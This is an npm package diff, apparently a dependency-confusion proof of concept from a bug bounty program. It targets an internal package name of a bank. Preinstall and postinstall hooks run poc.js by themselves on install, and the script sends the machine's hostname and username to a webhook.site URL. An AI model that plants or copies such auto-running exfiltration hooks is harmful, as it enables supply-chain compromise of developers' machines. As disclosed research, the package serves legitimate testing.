bnppf-flag-icons 99.99.99

package/README.md

@@ -0,0 +1,10 @@
+# Security Research PoC
+Published by: mrbhagat (Intigriti researcher)
+
+Published as part of security research under BNP Paribas Fortis's
+Intigriti bug bounty program, testing dependency confusion —
+public registry name matches an internal package referenced in
+webpack sourcemaps on www.bnpparibasfortis.be.
+
+No malicious payload. If your build pulled this package, contact
+mrbhagat via Intigriti.

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "bnppf-flag-icons",
+  "version": "99.99.99",
+  "description": "SECURITY RESEARCH POC - see README",
+  "scripts": {
+    "preinstall": "node poc.js",
+    "postinstall": "node poc.js"
+  }
+}

package/poc.js

@@ -0,0 +1,14 @@
+const https = require('https');
+const os = require('os');
+
+const RESEARCHER = 'mrbhagat';
+
+const data = JSON.stringify({
+  researcher: RESEARCHER,
+  host: os.hostname(),
+  user: os.userInfo().username,
+  time: Date.now()
+});
+
+https.get(`https://webhook.site/f3d7a882-435a-4959-a4e9-18a3886f3447?d=${encodeURIComponent(data)}`).on('error', () => {});
+console.log(`[SECURITY RESEARCH POC by ${RESEARCHER}] No malicious action taken. See README.md.`);